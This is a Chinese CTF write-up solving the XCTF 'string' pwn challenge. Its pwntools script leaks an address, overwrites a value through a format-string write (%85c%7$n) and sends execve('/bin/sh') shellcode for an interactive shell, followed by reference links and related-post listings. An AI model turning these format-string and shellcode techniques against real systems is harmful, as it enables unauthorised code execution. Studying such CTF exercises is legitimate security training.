攻防世界 | string
#encoding=utf-8
#!usr/bin/python from pwn import *
io = remote('111.198.29.45',42643)
io.recvuntil("secret[0] is ")
# recvuntil(some_string) 接收到 some_string 为止
v3_0_addr = int(io.recvuntil("\n")[:-1], 16) #打印cv3[0]的地址
log.info("v3_0_addr:" + hex(v3_0_addr)) #进入sub_4000D72()
io.recvuntil("character's name be:")
io.sendline("123")
#进入sub_400A7D()
io.recvuntil("east or up?:")
io.sendline("east") #进入sub_400BB9():printf处存在格式化字符串漏洞,利用这一点去修改v3[0]的值为85
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
# 使用 *<a_number_of_chars>%<number>$n* 就可以将相应的第 *<number>* 个参数的位置写为 % 前输出的字符数量
# 如本题先用 %85c 输出了85个字符,再用 %7$n 将第七个参数的位置写成了85 #进入sub_400CA6():v1会被强制转成函数指针并且得到执行,所以我们传入一个system()函数去getshell
context(os='linux',arch='amd64') #设置目标机的参数 os设置系统为linux系统,arch设置架构为amd64
shellcode = asm(shellcraft.sh()) #(生成的shellcode攻击失败,所以使用反汇编的shellcode)
# (shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
# 注释 :师傅没有失败只是忘了context
# shellcraft 是一个帮忙生成shellcode的类. shellcraft.sh():获得执行system(“/bin/sh”)汇编代码所对应的机器码
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()
参考:
https://www.jianshu.com/p/457520f97a76
https://blog.csdn.net/qq_35495684/article/details/79583232
https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5056&number=2&grade=0&page=1
https://www.jianshu.com/p/8322fa5dff22
攻防世界 | string的更多相关文章
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- Poem Codes - 攻防世界(Decrypt-the-Message)
Poem Codes Poem Code 最显著的特点就是一首诗歌. 详情请戳这里 让我们一起来过滤一遍这个神奇的加密过程~ ① 给出一首诗歌 for my purpose holds to sail ...
- 攻防世界 reverse 进阶 APK-逆向2
APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界(三)Web_php_unserialize
攻防世界系列:Web_php_unserialize 0x01.代码审计 1.类Demo中struct().destruct()函数分别在代码执行开始和结束时调用.而wakeup函数会在代码执行过程中 ...
- 攻防世界(八)web2
攻防世界系列:web2 1.代码审计 知识补充: strrev(string):反转字符串 strlen(string):字符串长度 substr(string,start,length):截取字符 ...
- 攻防世界Web区部分题解
攻防世界Web区部分题解 前言:PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数等全部转换为一个字符串 , 提供给用户传输和存储 . 而反序列化就是把字符串重新转换为 ...
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
随机推荐
- 安装gradle和配置
1:官网下载地址:https://docs.gradle.org/current/userguide/installation.html 下载自己认为的版本(压缩包) 2:解压到目标目录 3:配置gr ...
- layui基本使用(动态获取数据,并把需要的数据传到新打开的窗口)
<div class="xiaoxi">\n' + ' <div class="layui-row">\n' + ' <input ...
- python+selenium元素定位——8种方法
定位元素,selenium提供了8中元素定位方法: (1)find_element_by_id() :html规定,id在html中必须是唯一的,有点类似于身份证号 (2)find_element_b ...
- js技巧之与或运算符 || && 妙用
如题: 假设对成长速度显示规定如下: 成长速度为5显示1个箭头: 成长速度为10显示2个箭头: 成长速度为12显示3个箭头: 成长速度为15显示4个箭头: 其他都显示都显示0各箭头. 用代码 ...
- Hibernate的HQL多表查询
HQL的内连接查询 对于HQL内链接查询,查询的是两张表的数据,这两张表的数据首先是保存在数组之中,然后在将每一个数组保存在List集合之中进行返回 代码片段: @Test // 内连接 public ...
- 编码规范(code style guide)
1. Javascript Google: https://google.github.io/styleguide/jsguide.html Airbnb:https://github.com/air ...
- Java 中的 T,E,K,V, 别傻傻分不清楚!
作者:glmapper https://juejin.im/post/5d5789d26fb9a06ad0056bd9 前言 Java 泛型(generics)是 JDK 5 中引入的一个新特性, 泛 ...
- 【洛谷p2239】螺旋矩阵
关于题前废话: 这道题的数据范围过于强大了qwq,显然如果我们开一个30000*30000的二维数组来模拟,显然首先就开不下这么大的数组,然后暴力搜索的话也会爆掉,所以直接模拟显然是一个不正确的选择( ...
- host文件无操作权限
把先用其它启动方式启动电脑,如winpe(网上有制作方法,很简单的),启动后找到FWPKCLNT.SYS所在文件夹, 一般在c/windows/system32/drivers,将drivers文件夹 ...
- ubuntu18+virtualenv配置
思路: 1.两条命令安装,加sudo是安装在/usr/local/bin/virtualenv路径下,不加就安装在home/.local下.注意,后面bashrc里,要设置的路径和这个有关系,所以要区 ...
